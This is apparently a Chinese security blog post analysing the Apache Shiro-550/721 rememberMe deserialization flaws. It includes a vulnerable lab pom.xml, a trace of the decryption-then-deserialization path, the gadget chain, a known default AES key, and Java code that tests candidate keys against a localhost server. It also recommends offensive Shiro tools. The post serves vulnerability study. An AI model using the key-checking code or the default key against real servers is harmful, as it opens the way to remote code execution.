概述
Shiro反序列化漏洞目前为止有两个,Shiro-550(Apache Shiro < 1.2.5)
和Shiro-721( Apache Shiro < 1.4.2 )
。这两个漏洞主要区别在于Shiro550使用已知密钥撞,后者Shiro721是使用登录后rememberMe={value}去爆破正确的key值
进而反序列化,对比Shiro550条件只要有足够密钥库
(条件比较低)、Shiro721需要登录(要求比较高鸡肋)。
Apache Shiro < 1.4.2
默认使用AES/CBC/PKCS5Padding
模式
Apache Shiro >= 1.4.2
默认使用AES/GCM/PKCS5Padding
模式
环境搭建
采用Maven仓库的形式,源码放在GitHub上,直接用Idea打开即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.3.5.RELEASE</version> <relativePath/> </parent>
<groupId>org.example</groupId> <artifactId>shiro-deser</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> <exclusions> <exclusion> <groupId>org.junit.vintage</groupId> <artifactId>junit-vintage-engine</artifactId> </exclusion> </exclusions> </dependency>
<dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.5.7</version> </dependency>
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
<build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configuration> // debug参数 <jvmArguments> -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005 </jvmArguments> </configuration> </plugin> </plugins> </build> </project> `
|
流程分析
调用org\apache\shiro\mgt\DefaultSecurityManager.class#resolvePrincipals方法获取remember凭证
DefaultSecurityManager.class#getRememberedIdentity调用方法获取rememberMe认证的序列化数据
接着调用父类org\apache\shiro\mgt\AbstractRememberMeManager.class#getRememberedPrincipals方法在122行调用getRememberedSerializedIdentity
方法获取cookie中的值
然后来到org\apache\shiro\web\mgt\CookieRememberMeManager.class#getRememberedSerializedIdentity获取cookie值之后,先判断一下是否为空和deleteMe
,解之Base64解码最后在95行处返回byte[]值
org\apache\shiro\mgt\AbstractRememberMeManager.class#getRememberedPrincipals方法的124行进行类型转化,类型转化的过程中会进行AES解密操作,进而作为反序列化的数据
AbstractRememberMeManager.class#convertBytesToPrincipals进行AES解密操作,最后调用反序列化方法,将数据反序列化,导致反序列化漏洞
AbstractRememberMeManager#decrypt方法
1 2 3 4 5 6 7 8 9 10
| protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = this.getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey()); serialized = byteSource.getBytes(); }
return serialized; }
|
查看bytes数据值,可以看到解密后是生成的恶意payload
完整的payload演示效果
Shiro‘s key爆破方式
基于原生shiro框架检测方式
l1nk3r师傅的检测思路地址: https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
关键代码:
1 2 3 4 5
| SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection(); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload")); obj.writeObject(simplePrincipalCollection); obj.close();
|
实现具体代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public static void main(String[] args) throws IOException { String realkey = "kPH+bIxk5D2deZiIxcaaaA=="; String errorkey = "2AvVhdsgUs0FSA3SDFAdag=="; String filepath = "E:\\Soures\\JavaLearnVulnerability\\shiro\\shiro-deser\\key";
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection(); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(filepath)); try { obj.writeObject(simplePrincipalCollection); obj.close(); } catch (IOException e) { e.printStackTrace(); } FileReader fileReader = new FileReader(filepath);
CbcEncrypt cbcEncrypt = new CbcEncrypt(); String realcookie = "rememberMe=" + cbcEncrypt.encrypt(realkey,fileReader.readBytes()); String errorcookie = "rememberMe=" + cbcEncrypt.encrypt(errorkey,fileReader.readBytes()); System.out.println("realcookie --> " + realcookie); System.out.println("errorcookie --> " + errorcookie); String url = "http://127.0.0.1:8001/index"; HttpResponse realresponse = HttpRequest.get(url).cookie(realcookie).execute(); HttpResponse errorresponse = HttpRequest.get(url).cookie(errorcookie).execute(); String result1 = realresponse.header(Header.SET_COOKIE); String result2 = errorresponse.header(Header.SET_COOKIE); System.out.println("realkey ---> " + result1); System.out.println("errorkey ---> " + result2); }
|
总结
Gadget Chian 如下。简单来说流程就是将生成恶意Payload进行AES加密,然后Base64编码,然后以rememberMe={value}
形式发送给服务器。服务器将value
Base64解码,然后将解码后数据进行AES解密,最后反序列化执行命令。
Shiro721在登录之后,用登录后服务器生成rememberMe的值进行Base64解码之后,用解码数据,再通过Padding Oracle Attack
进行爆破得到key具体参考Shiro 组件漏洞与攻击链分析。
1 2 3 4 5 6 7 8 9 10 11 12 13
| * Gadget chian: * DefaultSecurityManager.resolvePrincipals() * DefaultSecurityManager.getRememberedIdentity() * AbstractRememberMeManager.getRememberedPrincipals() * CookieRememberMeManager#getRememberedSerializedIdentity() * AbstractRememberMeManager#getRememberedPrincipals() * AbstractRememberMeManager.convertBytesToPrincipals() * AbstractRememberMeManager.decrypt() * AbstractRememberMeManager.deserialize() * ..................... * .......... * *
|
Shiro实用工具推荐
- shiro_attack 推荐理由:javafx写的UI,支持tomcat全版本回显和Spring Boot回显。使用
SimplePrincipalCollection
爆破key,支持高版本加密方式爆破(GCM模式)项目还在维护。
- BurpShiroPassiveScan是一款burp插件,被动式扫描,自动识别是否为shiro框架,支持CBC/GCM两种加密方式,同时默认使用
SimplePrincipalCollection
爆破key,项目在维护。
踩坑记录
编码不一致问题
由于Windows cmd的编码是gdk,导致读取cmd内容的时候会aced0005
变成efbfbdefbfbd
,导致无法反序列化。
解决办法将生成的payload导入文件之中,然后读取二进制数据。
课外知识补充
springboot debug技巧
在配置中VM options 输入-Xms512m -Xmx512m -Xmn164m -XX:MaxPermSize=250m -XX:ReservedCodeCacheSize=64m -Dserver.port=8001 -ea
同时在配置文件pom.xml加入
1 2 3 4 5 6 7 8 9
| <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configuration> <jvmArguments> -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005 </jvmArguments> </configuration> </plugin>
|
VScode添加插件
Hex Editor插件
效果如下
Git 自带 xxd工具
将工具路径加入环境变量
效果如下:
参考
https://issues.apache.org/jira/browse/SHIRO-550
https://paper.seebug.org/1378
https://ares-x.com/2020/10/26/Shiro%E9%AB%98%E7%89%88%E6%9C%AC%E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/
https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ